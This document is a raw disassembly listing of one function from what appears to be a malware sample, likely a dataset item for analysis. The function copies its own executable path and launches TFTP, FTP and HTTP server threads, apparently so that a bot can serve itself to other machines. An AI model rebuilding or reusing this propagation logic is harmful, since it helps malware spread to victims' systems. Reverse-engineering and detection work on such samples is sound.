Assembly Code of File sub_401141


    sub_401141 proc near ; CODE XREF: sub_4018D1 + 52p var_204 = byte ptr - 204h var_4 = byte ptr - 4 arg_94 = byte ptr 9Ch arg_114 = byte ptr 11Ch arg_194 = dword ptr 19Ch arg_1B4 = dword ptr 1BCh arg_1BC = dword ptr 1C4h arg_1C0 = dword ptr 1C8h push ebp mov ebp, esp sub esp, 204h mov eax, [ ebp + arg_1B4 ] cmp eax, 0FFFFFFFFh jz locret_4014F1 imul eax, 3Ch push ebx xor ebx, ebx cmp dword_42A074[ eax ], ebx push esi jz loc_4013DF push 5 call sub_4110DA test eax, eax pop ecx jnz loc_4014EF mov eax, dword_42AE44 push edi push 104h mov edi, offset dword_42ED14 push edi push ebx mov dword_42EF24, eax mov dword_42EF20, ebx call ds:dword_41F010 ; GetModuleFileNameA push 103h push offset byte_42AED0 mov esi, offset dword_42EE18 push esi call sub_412C40 mov eax, [ ebp + arg_194 ] add esp, 0Ch cmp [ ebp + arg_114 ], bl mov dword_42ED10, eax mov eax, [ ebp + arg_1BC ] mov dword_42EFA8, eax push 7Fh jnz short loc_4011F4 lea eax, [ ebp + arg_94 ] push eax push offset dword_42EF28 call sub_412C40 mov dword_42EFAC, 1 jmp short loc_40120B ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4011F4: ; CODE XREF: sub_401141 + 94j lea eax, [ ebp + arg_114 ] push eax push offset dword_42EF28 call sub_412C40 mov dword_42EFAC, ebx loc_40120B: ; CODE XREF: sub_401141 + B1j add esp, 0Ch push esi push edi push dword_42EF24 lea eax, [ ebp + var_204 ] push offset aTftpServerStar ; \"[ TFTP ]: Server started on Port: %d, Fil\"... push eax call sub_412BB5 push ebx lea eax, [ ebp + var_204 ] push 5 push eax call sub_410EEA add esp, 20h mov dword_42EF1C, eax lea eax, [ ebp + var_4 ] push eax push ebx push offset dword_42ED10 push offset sub_410A22 push ebx push ebx call ds:dword_41F00C ; CreateThread mov ecx, dword_42EF1C imul ecx, 234h cmp eax, ebx mov dword_43434C[ ecx ], eax jnz loc_401327 call ds:dword_41F008 ; RtlGetLastWin32Error push eax lea eax, [ ebp + var_204 ] push offset aTftpFailedToSt ; \"[ TFTP ]: Failed to start server, error: \"... push eax call sub_412BB5 add esp, 0Ch loc_40128A: ; CODE XREF: sub_401141 + 1EEj lea eax, [ ebp + var_204 ] push eax call sub_401C33 pop ecx call ds:dword_41F004 ; GetTickCount xor edx, edx mov ecx, 0F82Fh div ecx push 104h mov edi, offset dword_42EA6C push edi push ebx mov dword_42EC78, ebx add edx, 400h mov dword_42EC7C, edx call ds:dword_41F010 ; GetModuleFileNameA push 103h push offset byte_42AED0 mov esi, offset dword_42EB70 push esi call sub_412C40 mov eax, [ ebp + arg_194 ] add esp, 0Ch cmp [ ebp + arg_114 ], bl mov dword_42EA68, eax mov eax, [ ebp + arg_1BC ] mov dword_42ED00, eax push 7Fh jnz short loc_401334 lea eax, [ ebp + arg_94 ] push eax push offset dword_42EC80 call sub_412C40 mov dword_42ED04, 1 jmp short loc_40134B ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_40131F: ; CODE XREF: sub_401141 + 1ECj push 32h call ds:dword_41F000 ; Sleep loc_401327: ; CODE XREF: sub_401141 + 128j cmp dword_42EFB0, ebx jz short loc_40131F jmp loc_40128A ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_401334: ; CODE XREF: sub_401141 + 1BFj lea eax, [ ebp + arg_114 ] push eax push offset dword_42EC80 call sub_412C40 mov dword_42ED04, ebx loc_40134B: ; CODE XREF: sub_401141 + 1DCj add esp, 0Ch push esi push edi push dword_42EC7C push dword_42EA68 call sub_406C33 pop ecx push eax lea eax, [ ebp + var_204 ] push offset aFtpServerStart ; \"[ FTP ]: Server started on: %s:%d, File: \"... push eax call sub_412BB5 push ebx lea eax, [ ebp + var_204 ] push 6 push eax call sub_410EEA add esp, 24h mov dword_42EC74, eax lea eax, [ ebp + var_4 ] push eax push ebx push offset dword_42EA68 push offset sub_402B1D push ebx push ebx call ds:dword_41F00C ; CreateThread mov ecx, dword_42EC74 imul ecx, 234h cmp eax, ebx mov dword_43434C[ ecx ], eax pop edi jnz short loc_4013D2 call ds:dword_41F008 ; RtlGetLastWin32Error push eax push offset aFtpFailedToSta ; \"[ FTP ]: Failed to start server, error: <\"... jmp loc_4014D3 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4013CA: ; CODE XREF: sub_401141 + 297j push 32h call ds:dword_41F000 ; Sleep loc_4013D2: ; CODE XREF: sub_401141 + 276j cmp dword_42ED08, ebx jz short loc_4013CA jmp loc_4014E2 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4013DF: ; CODE XREF: sub_401141 + 25j cmp dword_42A078[ eax ], ebx jz loc_4014EF push 4 call sub_4110DA test eax, eax pop ecx jnz loc_4014EF push 104h mov esi, offset dword_42E944 push esi push ebx call ds:dword_41F010 ; GetModuleFileNameA push 5Ch push esi call sub_412C10 cmp eax, ebx pop ecx pop ecx jz short loc_40141D mov [ eax ], bl loc_40141D: ; CODE XREF: sub_401141 + 2D8j mov eax, dword_42AE48 mov dword_42EA48, eax lea eax, [ ebp + arg_94 ] push eax push offset dword_42E6BC mov dword_42EA5C, ebx call sub_412BB5 mov eax, [ ebp + arg_194 ] pop ecx pop ecx mov ecx, [ ebp + arg_1BC ] push esi push dword_42EA48 mov dword_42EA54, ecx mov ecx, [ ebp + arg_1C0 ] push eax mov dword_42E6B8, eax mov dword_42EA58, ecx call sub_406C33 pop ecx push eax lea eax, [ ebp + var_204 ] push offset aHttpdServerLis ; \"[ HTTPD ]: Server listening on IP: %s:%d,\"... push eax call sub_412BB5 push ebx lea eax, [ ebp + var_204 ] push 4 push eax call sub_410EEA add esp, 20h loc_401495: ; DATA XREF: .data:off_42BB98o ; .data:off_42C450o mov dword_42EA50, eax lea eax, [ ebp + var_4 ] push eax push ebx push offset dword_42E6B8 push offset sub_403E06 push ebx push ebx call ds:dword_41F00C ; CreateThread mov ecx, dword_42EA50 imul ecx, 234h cmp eax, ebx mov dword_43434C[ ecx ], eax jnz short loc_4014FB call ds:dword_41F008 ; RtlGetLastWin32Error push eax push offset aHttpdFailedToS ; \"[ HTTPD ]: Failed to start server, error:\"... loc_4014D3: ; CODE XREF: sub_401141 + 284j lea eax, [ ebp + var_204 ] push eax call sub_412BB5 add esp, 0Ch loc_4014E2: ; CODE XREF: sub_401141 + 299j ; sub_401141 + 3C2j lea eax, [ ebp + var_204 ] push eax call sub_401C33 pop ecx loc_4014EF: ; CODE XREF: sub_401141 + 35j ; sub_401141 + 2A4j ... pop esi pop ebx locret_4014F1: ; CODE XREF: sub_401141 + 12j leave retn ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4014F3: ; CODE XREF: sub_401141 + 3C0j push 32h call ds:dword_41F000 ; Sleep loc_4014FB: ; CODE XREF: sub_401141 + 384j cmp dword_42EA64, ebx jz short loc_4014F3 jmp short loc_4014E2 sub_401141 endp